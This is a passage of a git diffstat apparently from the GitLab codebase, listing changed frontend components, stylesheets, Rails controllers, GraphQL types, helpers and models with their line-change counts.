-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue7
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js6
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue23
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue22
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_view_button.vue77
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue66
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue7
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue7
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue106
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_icon.vue6
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue51
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/review_app_link.vue18
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue10
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/commits_header.vue22
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue10
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue39
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/nothing_to_merge.vue1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue13
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue6
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue8
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue34
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql22
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/services/mr_widget_service.js8
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/getters.js1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js63
-rw-r--r--app/assets/javascripts/vue_shared/components/actions_button.vue90
-rw-r--r--app/assets/javascripts/vue_shared/components/alert_details_table.vue70
-rw-r--r--app/assets/javascripts/vue_shared/components/awards_list.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/changed_file_icon.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_badge_link.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_icon.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/clone_dropdown.vue16
-rw-r--r--app/assets/javascripts/vue_shared/components/commit.vue15
-rw-r--r--app/assets/javascripts/vue_shared/components/content_viewer/viewers/download_viewer.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue35
-rw-r--r--app/assets/javascripts/vue_shared/components/dismissible_alert.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/droplab_dropdown_button.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/file_finder/index.vue40
-rw-r--r--app/assets/javascripts/vue_shared/components/file_finder/item.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/file_row.vue18
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js19
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue43
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js166
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue18
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue115
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue18
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue13
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_dropdown.vue154
-rw-r--r--app/assets/javascripts/vue_shared/components/gl_mentions.vue16
-rw-r--r--app/assets/javascripts/vue_shared/components/header_ci_component.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/help_popover.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/icon.vue72
-rw-r--r--app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue36
-rw-r--r--app/assets/javascripts/vue_shared/components/lib/utils/diff_utils.js2
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/field.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/header.vue40
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue23
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue12
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestions.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/toolbar_button.vue28
-rw-r--r--app/assets/javascripts/vue_shared/components/modal_copy_button.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/skeleton_note.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/system_note.vue48
-rw-r--r--app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue25
-rw-r--r--app/assets/javascripts/vue_shared/components/project_selector/project_selector.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/recaptcha_modal.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/code_instruction.vue82
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/details_row.vue (renamed from app/assets/javascripts/registry/shared/components/details_row.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/history_item.vue36
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/list_item.vue135
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/metadata_item.vue63
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/title_area.vue66
-rw-r--r--app/assets/javascripts/vue_shared/components/resizable_chart/constants.js6
-rw-r--r--app/assets/javascripts/vue_shared/components/resizable_chart/skeleton_loader.vue64
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js15
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js19
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js7
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js6
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js31
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list.js24
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text.js9
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js6
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js28
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/collapsed_calendar_icon.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue23
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue55
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue16
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue12
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js3
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutation_types.js1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js4
-rw-r--r--app/assets/javascripts/vue_shared/components/timezone_dropdown.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/todo_button.vue28
-rw-r--r--app/assets/javascripts/vue_shared/components/toggle_button.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/url_sync.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue12
-rw-r--r--app/assets/javascripts/vue_shared/components/web_ide_link.vue118
-rw-r--r--app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js4
-rw-r--r--app/assets/javascripts/vuex_shared/bindings.js1
-rw-r--r--app/assets/javascripts/vuex_shared/modules/members/index.js6
-rw-r--r--app/assets/javascripts/vuex_shared/modules/members/state.js5
-rw-r--r--app/assets/javascripts/whats_new/components/app.vue56
-rw-r--r--app/assets/javascripts/whats_new/components/trigger.vue19
-rw-r--r--app/assets/javascripts/whats_new/index.js46
-rw-r--r--app/assets/stylesheets/_page_specific_files.scss65
-rw-r--r--app/assets/stylesheets/application.scss4
-rw-r--r--app/assets/stylesheets/components/batch_comments/review_bar.scss122
-rw-r--r--app/assets/stylesheets/components/design_management/design.scss4
-rw-r--r--app/assets/stylesheets/components/related_items_list.scss12
-rw-r--r--app/assets/stylesheets/components/rich_content_editor.scss2
-rw-r--r--app/assets/stylesheets/components/whats_new.scss9
-rw-r--r--app/assets/stylesheets/fontawesome_custom.scss48
-rw-r--r--app/assets/stylesheets/framework.scss1
-rw-r--r--app/assets/stylesheets/framework/buttons.scss20
-rw-r--r--app/assets/stylesheets/framework/callout.scss6
-rw-r--r--app/assets/stylesheets/framework/common.scss41
-rw-r--r--app/assets/stylesheets/framework/dropdowns.scss88
-rw-r--r--app/assets/stylesheets/framework/files.scss13
-rw-r--r--app/assets/stylesheets/framework/filters.scss12
-rw-r--r--app/assets/stylesheets/framework/flash.scss4
-rw-r--r--app/assets/stylesheets/framework/gfm.scss2
-rw-r--r--app/assets/stylesheets/framework/gitlab_theme.scss431
-rw-r--r--app/assets/stylesheets/framework/header.scss9
-rw-r--r--app/assets/stylesheets/framework/job_log.scss6
-rw-r--r--app/assets/stylesheets/framework/lists.scss17
-rw-r--r--app/assets/stylesheets/framework/secondary_navigation_elements.scss7
-rw-r--r--app/assets/stylesheets/framework/selects.scss6
-rw-r--r--app/assets/stylesheets/framework/sidebar.scss7
-rw-r--r--app/assets/stylesheets/framework/spinner.scss2
-rw-r--r--app/assets/stylesheets/framework/stacked_progress_bar.scss2
-rw-r--r--app/assets/stylesheets/framework/tables.scss34
-rw-r--r--app/assets/stylesheets/framework/typography.scss2
-rw-r--r--app/assets/stylesheets/framework/variables.scss82
-rw-r--r--app/assets/stylesheets/framework/wells.scss4
-rw-r--r--app/assets/stylesheets/framework/zen.scss2
-rw-r--r--app/assets/stylesheets/mailer.scss16
-rw-r--r--app/assets/stylesheets/notify.scss4
-rw-r--r--app/assets/stylesheets/page_bundles/_ide_monaco_overrides.scss16
-rw-r--r--app/assets/stylesheets/page_bundles/_ide_theme_overrides.scss3
-rw-r--r--app/assets/stylesheets/page_bundles/_mixins_and_variables_and_functions.scss21
-rw-r--r--app/assets/stylesheets/page_bundles/ide.scss2
-rw-r--r--app/assets/stylesheets/page_bundles/jira_connect.scss33
-rw-r--r--app/assets/stylesheets/page_bundles/todos.scss259
-rw-r--r--app/assets/stylesheets/pages/alert_management/details.scss39
-rw-r--r--app/assets/stylesheets/pages/alert_management/severity-icons.scss1
-rw-r--r--app/assets/stylesheets/pages/boards.scss3
-rw-r--r--app/assets/stylesheets/pages/branches.scss4
-rw-r--r--app/assets/stylesheets/pages/builds.scss4
-rw-r--r--app/assets/stylesheets/pages/clusters.scss6
-rw-r--r--app/assets/stylesheets/pages/cycle_analytics.scss29
-rw-r--r--app/assets/stylesheets/pages/dev_ops_report.scss259
-rw-r--r--app/assets/stylesheets/pages/dev_ops_score.scss255
-rw-r--r--app/assets/stylesheets/pages/diff.scss8
-rw-r--r--app/assets/stylesheets/pages/environments.scss6
-rw-r--r--app/assets/stylesheets/pages/events.scss4
-rw-r--r--app/assets/stylesheets/pages/graph.scss2
-rw-r--r--app/assets/stylesheets/pages/groups.scss2
-rw-r--r--app/assets/stylesheets/pages/help.scss4
-rw-r--r--app/assets/stylesheets/pages/incident_management_list.scss2
-rw-r--r--app/assets/stylesheets/pages/issuable.scss49
-rw-r--r--app/assets/stylesheets/pages/issues.scss6
-rw-r--r--app/assets/stylesheets/pages/members.scss4
-rw-r--r--app/assets/stylesheets/pages/merge_requests.scss14
-rw-r--r--app/assets/stylesheets/pages/milestone.scss1
-rw-r--r--app/assets/stylesheets/pages/note_form.scss2
-rw-r--r--app/assets/stylesheets/pages/notes.scss6
-rw-r--r--app/assets/stylesheets/pages/packages.scss11
-rw-r--r--app/assets/stylesheets/pages/pipelines.scss19
-rw-r--r--app/assets/stylesheets/pages/profile.scss3
-rw-r--r--app/assets/stylesheets/pages/projects.scss18
-rw-r--r--app/assets/stylesheets/pages/search.scss2
-rw-r--r--app/assets/stylesheets/pages/settings.scss15
-rw-r--r--app/assets/stylesheets/pages/status.scss2
-rw-r--r--app/assets/stylesheets/pages/todos.scss263
-rw-r--r--app/assets/stylesheets/pages/tree.scss2
-rw-r--r--app/assets/stylesheets/pages/ui_dev_kit.scss2
-rw-r--r--app/assets/stylesheets/pages/wiki.scss4
-rw-r--r--app/assets/stylesheets/performance_bar.scss8
-rw-r--r--app/assets/stylesheets/startup/startup-dark.scss1912
-rw-r--r--app/assets/stylesheets/startup/startup-general.scss1832
-rw-r--r--app/assets/stylesheets/startup/startup-signin.scss2409
-rw-r--r--app/assets/stylesheets/themes/_dark.scss89
-rw-r--r--app/assets/stylesheets/themes/theme_blue.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_dark.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_green.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_helper.scss204
-rw-r--r--app/assets/stylesheets/themes/theme_indigo.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_light.scss129
-rw-r--r--app/assets/stylesheets/themes/theme_light_blue.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_light_green.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_light_indigo.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_light_red.scss14
-rw-r--r--app/assets/stylesheets/themes/theme_red.scss14
-rw-r--r--app/assets/stylesheets/utilities.scss43
-rw-r--r--app/assets/stylesheets/vendors/atwho.scss6
-rw-r--r--app/assets/stylesheets/vendors/tribute.scss4
-rw-r--r--app/controllers/admin/application_settings_controller.rb3
-rw-r--r--app/controllers/admin/cohorts_controller.rb17
-rw-r--r--app/controllers/admin/concerns/authenticates_2fa_for_admin_mode.rb50
-rw-r--r--app/controllers/admin/dev_ops_report_controller.rb13
-rw-r--r--app/controllers/admin/groups_controller.rb6
-rw-r--r--app/controllers/admin/instance_statistics_controller.rb16
-rw-r--r--app/controllers/admin/integrations_controller.rb4
-rw-r--r--app/controllers/admin/plan_limits_controller.rb39
-rw-r--r--app/controllers/admin/runners_controller.rb1
-rw-r--r--app/controllers/admin/services_controller.rb2
-rw-r--r--app/controllers/admin/users_controller.rb17
-rw-r--r--app/controllers/application_controller.rb4
-rw-r--r--app/controllers/clusters/clusters_controller.rb1
-rw-r--r--app/controllers/concerns/authenticates_with_two_factor.rb79
-rw-r--r--app/controllers/concerns/integrations_actions.rb11
-rw-r--r--app/controllers/concerns/issuable_actions.rb2
-rw-r--r--app/controllers/concerns/issuable_links.rb41
-rw-r--r--app/controllers/concerns/notes_actions.rb2
-rw-r--r--app/controllers/concerns/redis_tracking.rb47
-rw-r--r--app/controllers/concerns/renders_notes.rb10
-rw-r--r--app/controllers/concerns/send_file_upload.rb38
-rw-r--r--app/controllers/concerns/snippets_actions.rb8
-rw-r--r--app/controllers/concerns/wiki_actions.rb30
-rw-r--r--app/controllers/dashboard/projects_controller.rb7
-rw-r--r--app/controllers/graphql_controller.rb10
-rw-r--r--app/controllers/groups/boards_controller.rb1
-rw-r--r--app/controllers/groups/settings/integrations_controller.rb12
-rw-r--r--app/controllers/instance_statistics/application_controller.rb10
-rw-r--r--app/controllers/instance_statistics/cohorts_controller.rb23
-rw-r--r--app/controllers/instance_statistics/dev_ops_score_controller.rb13
-rw-r--r--app/controllers/invites_controller.rb23
-rw-r--r--app/controllers/jira_connect/app_descriptor_controller.rb64
-rw-r--r--app/controllers/jira_connect/application_controller.rb57
-rw-r--r--app/controllers/jira_connect/events_controller.rb30
-rw-r--r--app/controllers/jira_connect/subscriptions_controller.rb56
-rw-r--r--app/controllers/oauth/jira/authorizations_controller.rb49
-rw-r--r--app/controllers/omniauth_callbacks_controller.rb4
-rw-r--r--app/controllers/passwords_controller.rb6
-rw-r--r--app/controllers/profiles/accounts_controller.rb10
-rw-r--r--app/controllers/profiles/keys_controller.rb21
-rw-r--r--app/controllers/profiles/notifications_controller.rb15
-rw-r--r--app/controllers/profiles/preferences_controller.rb1
-rw-r--r--app/controllers/profiles/two_factor_auths_controller.rb98
-rw-r--r--app/controllers/profiles/webauthn_registrations_controller.rb10
-rw-r--r--app/controllers/profiles_controller.rb4
-rw-r--r--app/controllers/projects/application_controller.rb4
-rw-r--r--app/controllers/projects/badges_controller.rb1
-rw-r--r--app/controllers/projects/blob_controller.rb12
-rw-r--r--app/controllers/projects/boards_controller.rb1
-rw-r--r--app/controllers/projects/ci/lints_controller.rb42
-rw-r--r--app/controllers/projects/forks_controller.rb13
-rw-r--r--app/controllers/projects/imports_controller.rb6
-rw-r--r--app/controllers/projects/issue_links_controller.rb48
-rw-r--r--app/controllers/projects/issues_controller.rb43
-rw-r--r--app/controllers/projects/merge_requests/application_controller.rb1
-rw-r--r--app/controllers/projects/merge_requests/content_controller.rb6
-rw-r--r--app/controllers/projects/merge_requests/diffs_controller.rb7
-rw-r--r--app/controllers/projects/merge_requests_controller.rb28
-rw-r--r--app/controllers/projects/metrics_dashboard_controller.rb31
-rw-r--r--app/controllers/projects/pages_controller.rb2
-rw-r--r--app/controllers/projects/pipelines_controller.rb27
-rw-r--r--app/controllers/projects/product_analytics_controller.rb4
-rw-r--r--app/controllers/projects/releases_controller.rb3
-rw-r--r--app/controllers/projects/services_controller.rb14
-rw-r--r--app/controllers/projects/static_site_editor_controller.rb18
-rw-r--r--app/controllers/projects/todos_controller.rb3
-rw-r--r--app/controllers/projects/web_ide_schemas_controller.rb25
-rw-r--r--app/controllers/projects/web_ide_terminals_controller.rb2
-rw-r--r--app/controllers/projects_controller.rb6
-rw-r--r--app/controllers/registrations/experience_levels_controller.rb1
-rw-r--r--app/controllers/registrations_controller.rb31
-rw-r--r--app/controllers/repositories/lfs_api_controller.rb2
-rw-r--r--app/controllers/search_controller.rb18
-rw-r--r--app/controllers/sessions_controller.rb15
-rw-r--r--app/controllers/users_controller.rb6
-rw-r--r--app/finders/ci/jobs_finder.rb55
-rw-r--r--app/finders/concerns/finder_methods.rb11
-rw-r--r--app/finders/concerns/merged_at_filter.rb12
-rw-r--r--app/finders/design_management/designs_finder.rb6
-rw-r--r--app/finders/feature_flags_finder.rb44
-rw-r--r--app/finders/fork_targets_finder.rb6
-rw-r--r--app/finders/group_members_finder.rb4
-rw-r--r--app/finders/issuable_finder.rb30
-rw-r--r--app/finders/issues_finder.rb4
-rw-r--r--app/finders/labels_finder.rb9
-rw-r--r--app/finders/members_finder.rb4
-rw-r--r--app/finders/merge_requests_finder.rb4
-rw-r--r--app/finders/packages/group_packages_finder.rb3
-rw-r--r--app/finders/packages/package_finder.rb3
-rw-r--r--app/finders/packages/packages_finder.rb7
-rw-r--r--app/finders/projects_finder.rb1
-rw-r--r--app/finders/user_group_notification_settings_finder.rb48
-rw-r--r--app/finders/users_finder.rb8
-rw-r--r--app/graphql/gitlab_schema.rb4
-rw-r--r--app/graphql/mutations/alert_management/alerts/set_assignees.rb2
-rw-r--r--app/graphql/mutations/alert_management/alerts/todo/create.rb2
-rw-r--r--app/graphql/mutations/alert_management/base.rb1
-rw-r--r--app/graphql/mutations/alert_management/create_alert_issue.rb2
-rw-r--r--app/graphql/mutations/alert_management/update_alert_status.rb2
-rw-r--r--app/graphql/mutations/award_emojis/toggle.rb2
-rw-r--r--app/graphql/mutations/base_mutation.rb4
-rw-r--r--app/graphql/mutations/boards/destroy.rb37
-rw-r--r--app/graphql/mutations/boards/issues/issue_move_list.rb8
-rw-r--r--app/graphql/mutations/boards/lists/base.rb2
-rw-r--r--app/graphql/mutations/boards/lists/create.rb9
-rw-r--r--app/graphql/mutations/ci/base.rb17
-rw-r--r--app/graphql/mutations/ci/pipeline_cancel.rb22
-rw-r--r--app/graphql/mutations/ci/pipeline_destroy.rb22
-rw-r--r--app/graphql/mutations/ci/pipeline_retry.rb27
-rw-r--r--app/graphql/mutations/concerns/mutations/authorizes_project.rb17
-rw-r--r--app/graphql/mutations/design_management/move.rb4
-rw-r--r--app/graphql/mutations/issues/set_severity.rb25
-rw-r--r--app/graphql/mutations/merge_requests/set_wip.rb4
-rw-r--r--app/graphql/mutations/metrics/dashboard/annotations/delete.rb2
-rw-r--r--app/graphql/mutations/snippets/create.rb13
-rw-r--r--app/graphql/mutations/snippets/update.rb13
-rw-r--r--app/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver.rb37
-rw-r--r--app/graphql/resolvers/board_list_issues_resolver.rb10
-rw-r--r--app/graphql/resolvers/concerns/board_issue_filterable.rb24
-rw-r--r--app/graphql/resolvers/concerns/issue_resolver_arguments.rb79
-rw-r--r--app/graphql/resolvers/concerns/issue_resolver_fields.rb77
-rw-r--r--app/graphql/resolvers/concerns/looks_ahead.rb2
-rw-r--r--app/graphql/resolvers/group_members_resolver.rb19
-rw-r--r--app/graphql/resolvers/issue_status_counts_resolver.rb19
-rw-r--r--app/graphql/resolvers/issues_resolver.rb14
-rw-r--r--app/graphql/resolvers/members_resolver.rb24
-rw-r--r--app/graphql/resolvers/merge_request_pipelines_resolver.rb2
-rw-r--r--app/graphql/resolvers/merge_requests_resolver.rb15
-rw-r--r--app/graphql/resolvers/metrics/dashboard_resolver.rb3
-rw-r--r--app/graphql/resolvers/namespace_projects_resolver.rb22
-rw-r--r--app/graphql/resolvers/project_members_resolver.rb16
-rw-r--r--app/graphql/resolvers/project_merge_requests_resolver.rb12
-rw-r--r--app/graphql/resolvers/projects_resolver.rb10
-rw-r--r--app/graphql/resolvers/user_starred_projects_resolver.rb17
-rw-r--r--app/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum.rb21
-rw-r--r--app/graphql/types/admin/analytics/instance_statistics/measurement_type.rb24
-rw-r--r--app/graphql/types/admin/sidekiq_queues/delete_jobs_response_type.rb2
-rw-r--r--app/graphql/types/alert_management/alert_type.rb2
-rw-r--r--app/graphql/types/award_emojis/award_emoji_type.rb2
-rw-r--r--app/graphql/types/base_enum.rb3
-rw-r--r--app/graphql/types/base_field.rb53
-rw-r--r--app/graphql/types/board_list_type.rb2
-rw-r--r--app/graphql/types/boards/board_issue_input_base_type.rb35
-rw-r--r--app/graphql/types/boards/board_issue_input_type.rb24
-rw-r--r--app/graphql/types/ci/pipeline_config_source_enum.rb2
-rw-r--r--app/graphql/types/ci/pipeline_type.rb10
-rw-r--r--app/graphql/types/concerns/gitlab_style_deprecations.rb31
-rw-r--r--app/graphql/types/current_user_todos.rb24
-rw-r--r--app/graphql/types/design_management/design_at_version_type.rb4
-rw-r--r--app/graphql/types/design_management/design_collection_type.rb2
-rw-r--r--app/graphql/types/design_management/design_type.rb1
-rw-r--r--app/graphql/types/error_tracking/sentry_detailed_error_type.rb2
-rw-r--r--app/graphql/types/error_tracking/sentry_error_collection_type.rb4
-rw-r--r--app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb2
-rw-r--r--app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb2
-rw-r--r--app/graphql/types/error_tracking/sentry_error_type.rb2
-rw-r--r--app/graphql/types/group_member_type.rb2
-rw-r--r--app/graphql/types/group_type.rb6
-rw-r--r--app/graphql/types/issuable_severity_enum.rb12
-rw-r--r--app/graphql/types/issue_status_counts_type.rb2
-rw-r--r--app/graphql/types/issue_type.rb15
-rw-r--r--app/graphql/types/jira_user_type.rb2
-rw-r--r--app/graphql/types/member_interface.rb19
-rw-r--r--app/graphql/types/merge_request_sort_enum.rb11
-rw-r--r--app/graphql/types/merge_request_type.rb8
-rw-r--r--app/graphql/types/metrics/dashboard_type.rb7
-rw-r--r--app/graphql/types/milestone_type.rb4
-rw-r--r--app/graphql/types/mutation_operation_mode_enum.rb2
-rw-r--r--app/graphql/types/mutation_type.rb5
-rw-r--r--app/graphql/types/permission_types/merge_request.rb4
-rw-r--r--app/graphql/types/project_member_type.rb9
-rw-r--r--app/graphql/types/project_type.rb8
-rw-r--r--app/graphql/types/projects/namespace_project_sort_enum.rb12
-rw-r--r--app/graphql/types/query_type.rb15
-rw-r--r--app/graphql/types/release_asset_link_type.rb12
-rw-r--r--app/graphql/types/release_type.rb4
-rw-r--r--app/graphql/types/todo_type.rb2
-rw-r--r--app/graphql/types/user_type.rb3
-rw-r--r--app/helpers/application_helper.rb8
-rw-r--r--app/helpers/application_settings_helper.rb7
-rw-r--r--app/helpers/auth_helper.rb4
-rw-r--r--app/helpers/blob_helper.rb7
-rw-r--r--app/helpers/boards_helper.rb4
-rw-r--r--app/helpers/ci/jobs_helper.rb1
-rw-r--r--app/helpers/ci/pipelines_helper.rb33
-rw-r--r--app/helpers/clusters_helper.rb6
-rw-r--r--app/helpers/container_registry_helper.rb8
-rw-r--r--app/helpers/dashboard_helper.rb4
-rw-r--r--app/helpers/deploy_tokens_helper.rb9
-rw-r--r--app/helpers/dev_ops_report_helper.rb18
-rw-r--r--app/helpers/dev_ops_score_helper.rb18
-rw-r--r--app/helpers/diff_helper.rb37
-rw-r--r--app/helpers/dropdowns_helper.rb44
-rw-r--r--app/helpers/emails_helper.rb45
-rw-r--r--app/helpers/environments_helper.rb78
-rw-r--r--app/helpers/form_helper.rb23
-rw-r--r--app/helpers/groups/group_members_helper.rb79
-rw-r--r--app/helpers/groups_helper.rb15
-rw-r--r--app/helpers/icons_helper.rb2
-rw-r--r--app/helpers/issuables_helper.rb15
-rw-r--r--app/helpers/issues_helper.rb2
-rw-r--r--app/helpers/lazy_image_tag_helper.rb2
-rw-r--r--app/helpers/nav_helper.rb6
-rw-r--r--app/helpers/notes_helper.rb6
-rw-r--r--app/helpers/notifications_helper.rb10
-rw-r--r--app/helpers/operations_helper.rb1
-rw-r--r--app/helpers/preferences_helper.rb11
-rw-r--r--app/helpers/projects_helper.rb6
-rw-r--r--app/helpers/releases_helper.rb1
-rw-r--r--app/helpers/search_helper.rb41
-rw-r--r--app/helpers/services_helper.rb28
-rw-r--r--app/helpers/snippets_helper.rb2
-rw-r--r--app/helpers/startup_css_helper.rb7
-rw-r--r--app/helpers/submodule_helper.rb54
-rw-r--r--app/helpers/system_note_helper.rb5
-rw-r--r--app/helpers/tab_helper.rb2
-rw-r--r--app/helpers/tree_helper.rb34
-rw-r--r--app/helpers/user_callouts_helper.rb10
-rw-r--r--app/helpers/whats_new_helper.rb24
-rw-r--r--app/helpers/wiki_helper.rb9
-rw-r--r--app/mailers/devise_mailer.rb4
-rw-r--r--app/mailers/emails/members.rb40
-rw-r--r--app/mailers/emails/profile.rb10
-rw-r--r--app/models/alert_management/alert.rb43
-rw-r--r--app/models/analytics/instance_statistics.rb9
-rw-r--r--app/models/analytics/instance_statistics/measurement.rb31
-rw-r--r--app/models/application_record.rb4
-rw-r--r--app/models/application_setting.rb19
-rw-r--r--app/models/application_setting_implementation.rb7
-rw-r--r--app/models/atlassian/identity.rb26
-rw-r--r--app/models/audit_event.rb12
-rw-r--r--app/models/authentication_event.rb12
-rw-r--r--app/models/blob_viewer/dependency_manager.rb4
-rw-r--r--app/models/blob_viewer/metrics_dashboard_yml.rb26
-rw-r--r--app/models/ci/bridge.rb12
-rw-r--r--app/models/ci/build.rb52
-rw-r--r--app/models/ci/build_pending_state.rb12
-rw-r--r--app/models/ci/build_trace_chunk.rb88
-rw-r--r--app/models/ci/build_trace_chunks/database.rb2
-rw-r--r--app/models/ci/build_trace_chunks/redis.rb4
-rw-r--r--app/models/ci/daily_build_group_report_result.rb2
-rw-r--r--app/models/ci/job_artifact.rb17
-rw-r--r--app/models/ci/pipeline.rb98
-rw-r--r--app/models/ci/pipeline_artifact.rb29
-rw-r--r--app/models/ci/pipeline_enums.rb73
-rw-r--r--app/models/ci/ref.rb2
